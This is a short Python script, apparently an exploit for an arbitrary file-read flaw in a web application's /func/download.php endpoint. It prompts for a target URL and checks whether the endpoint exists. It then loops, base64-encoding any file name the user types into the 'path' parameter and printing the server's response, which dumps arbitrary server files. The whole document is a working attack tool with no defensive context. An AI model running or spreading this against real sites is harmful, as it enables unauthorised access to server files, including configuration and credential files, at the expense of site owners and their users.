import requests, sys, base64

target = input("URL : ")
try: 
    u = requests.get(f"{target}/func/download.php")
except:
    print("SSL ERROR")
    sys.exit()
print("Looks Like the Site is Vuln: \n")
if u.status_code == 200:
    pass
elif u.status_code == 404:
    sys.exit()

while True:
    
    shell = input("File_Name : ")
    message = f"{shell}"
    message_bytes = message.encode('ascii')
    base64_bytes = base64.b64encode(message_bytes)
    base64_message = base64_bytes.decode('ascii')
    u = requests.get(f"{target}/func/download.php?path={base64_message}")
    print(u.text)
    
